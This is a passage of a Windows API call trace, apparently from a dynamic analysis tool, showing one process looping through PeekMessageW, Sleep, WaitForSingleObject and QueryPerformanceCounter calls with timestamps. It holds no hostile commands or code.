[0136.303] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.304] Sleep (dwMilliseconds=0x64) [0136.318] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.318] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729416796) returned 1 [0136.318] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729416983) returned 1 [0136.319] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.319] Sleep (dwMilliseconds=0x64) [0136.334] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729470177) returned 1 [0136.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729470348) returned 1 [0136.334] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.335] Sleep (dwMilliseconds=0x64) [0136.350] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.351] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729527027) returned 1 [0136.351] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729527198) returned 1 [0136.351] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.352] Sleep (dwMilliseconds=0x64) [0136.365] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729576839) returned 1 [0136.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729577037) returned 1 [0136.366] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.366] Sleep (dwMilliseconds=0x64) [0136.383] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.383] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729638305) returned 1 [0136.383] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729638507) returned 1 [0136.384] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.384] Sleep (dwMilliseconds=0x64) [0136.396] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729683527) returned 1 [0136.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729683732) returned 1 [0136.397] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.398] Sleep (dwMilliseconds=0x64) [0136.412] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729737251) returned 1 [0136.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729737449) returned 1 [0136.413] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.413] Sleep (dwMilliseconds=0x64) [0136.427] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.428] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729790143) returned 1 [0136.428] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729790346) returned 1 [0136.428] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.429] Sleep (dwMilliseconds=0x64) [0136.443] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.443] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729843440) returned 1 [0136.443] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729843705) returned 1 [0136.444] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.444] Sleep (dwMilliseconds=0x64) [0136.459] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729896748) returned 1 [0136.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729896930) returned 1 [0136.459] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.460] Sleep (dwMilliseconds=0x64) [0136.496] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.496] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730024561) returned 1 [0136.496] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730024713) returned 1 [0136.497] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.497] Sleep (dwMilliseconds=0x64) [0136.506] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730058137) returned 1 [0136.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730058288) returned 1 [0136.506] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.507] Sleep (dwMilliseconds=0x64) [0136.521] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730110086) returned 1 [0136.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730110237) returned 1 [0136.522] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.522] Sleep (dwMilliseconds=0x64) [0136.537] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.537] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730163345) returned 1 [0136.537] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730163543) returned 1 [0136.537] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.538] Sleep (dwMilliseconds=0x64) [0136.570] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730277492) returned 1 [0136.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730277693) returned 1 [0136.571] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.572] Sleep (dwMilliseconds=0x64) [0136.584] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730325634) returned 1 [0136.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730325821) returned 1 [0136.585] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.585] Sleep (dwMilliseconds=0x64) [0136.600] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730379248) returned 1 [0136.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730379444) returned 1 [0136.600] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.601] Sleep (dwMilliseconds=0x64) [0136.615] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730429935) returned 1 [0136.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730430139) returned 1 [0136.615] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.616] Sleep (dwMilliseconds=0x64) [0136.630] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730483626) returned 1 [0136.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730483810) returned 1 [0136.631] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.632] Sleep (dwMilliseconds=0x64) [0136.646] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.646] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730536597) returned 1 [0136.646] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730536827) returned 1 [0136.647] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.647] Sleep (dwMilliseconds=0x64) [0136.661] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730590002) returned 1 [0136.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730590187) returned 1 [0136.662] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.663] Sleep (dwMilliseconds=0x64) [0136.677] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.677] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730643336) returned 1 [0136.677] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730643519) returned 1 [0136.678] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.678] Sleep (dwMilliseconds=0x64) [0136.693] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730696939) returned 1 [0136.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730697122) returned 1 [0136.693] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.694] Sleep (dwMilliseconds=0x64) [0136.709] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730752013) returned 1 [0136.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730752196) returned 1 [0136.710] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.710] Sleep (dwMilliseconds=0x64) [0136.724] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730803165) returned 1 [0136.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730803348) returned 1 [0136.724] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.725] Sleep (dwMilliseconds=0x64) [0136.740] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730859823) returned 1 [0136.741] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730860006) returned 1 [0136.741] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.742] Sleep (dwMilliseconds=0x64) [0136.755] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.755] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730910174) returned 1 [0136.755] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730910362) returned 1 [0136.756] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.756] Sleep (dwMilliseconds=0x64) [0136.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=730963142) returned 1 [0136.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=730963342) returned 1 [0136.771] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.772] Sleep (dwMilliseconds=0x64) [0136.786] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731016449) returned 1 [0136.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731016674) returned 1 [0136.787] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.787] Sleep (dwMilliseconds=0x64) [0136.802] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731069983) returned 1 [0136.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731070166) returned 1 [0136.803] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.803] Sleep (dwMilliseconds=0x64) [0136.818] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.818] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731125912) returned 1 [0136.818] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731126082) returned 1 [0136.819] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.819] Sleep (dwMilliseconds=0x64) [0136.833] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731176400) returned 1 [0136.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731176598) returned 1 [0136.834] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.834] Sleep (dwMilliseconds=0x64) [0136.849] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731229688) returned 1 [0136.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731229860) returned 1 [0136.849] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.850] Sleep (dwMilliseconds=0x64) [0136.864] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731283045) returned 1 [0136.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731283245) returned 1 [0136.865] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.865] Sleep (dwMilliseconds=0x64) [0136.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731336884) returned 1 [0136.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731337059) returned 1 [0136.881] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.881] Sleep (dwMilliseconds=0x64) [0136.895] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.895] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731389603) returned 1 [0136.896] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731389774) returned 1 [0136.896] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.897] Sleep (dwMilliseconds=0x64) [0136.911] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.911] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731443055) returned 1 [0136.911] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731443227) returned 1 [0136.912] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.912] Sleep (dwMilliseconds=0x64) [0136.927] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.927] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731498781) returned 1 [0136.927] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731498967) returned 1 [0136.928] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.929] Sleep (dwMilliseconds=0x64) [0136.942] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731550037) returned 1 [0136.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731550227) returned 1 [0136.943] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.944] Sleep (dwMilliseconds=0x64) [0136.958] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731603167) returned 1 [0136.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731603351) returned 1 [0136.959] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.959] Sleep (dwMilliseconds=0x64) [0136.973] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731656542) returned 1 [0136.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731656744) returned 1 [0136.974] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.975] Sleep (dwMilliseconds=0x64) [0136.989] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.989] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731709656) returned 1 [0136.989] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731709839) returned 1 [0136.990] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.990] Sleep (dwMilliseconds=0x64) [0137.005] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.005] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731763230) returned 1 [0137.005] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731763416) returned 1 [0137.005] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.006] Sleep (dwMilliseconds=0x64) [0137.020] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731816281) returned 1 [0137.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731816466) returned 1 [0137.021] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.021] Sleep (dwMilliseconds=0x64) [0137.037] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731875214) returned 1 [0137.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731875390) returned 1 [0137.038] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.039] Sleep (dwMilliseconds=0x64) [0137.051] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.051] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731922843) returned 1 [0137.052] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731923028) returned 1 [0137.052] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.053] Sleep (dwMilliseconds=0x64) [0137.067] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.067] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=731976508) returned 1 [0137.067] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=731976701) returned 1 [0137.068] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.068] Sleep (dwMilliseconds=0x64) [0137.083] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.084] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732032374) returned 1 [0137.084] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732032581) returned 1 [0137.084] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.085] Sleep (dwMilliseconds=0x64) [0137.098] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732082756) returned 1 [0137.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732082941) returned 1 [0137.099] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.099] Sleep (dwMilliseconds=0x64) [0137.114] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732136682) returned 1 [0137.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732136868) returned 1 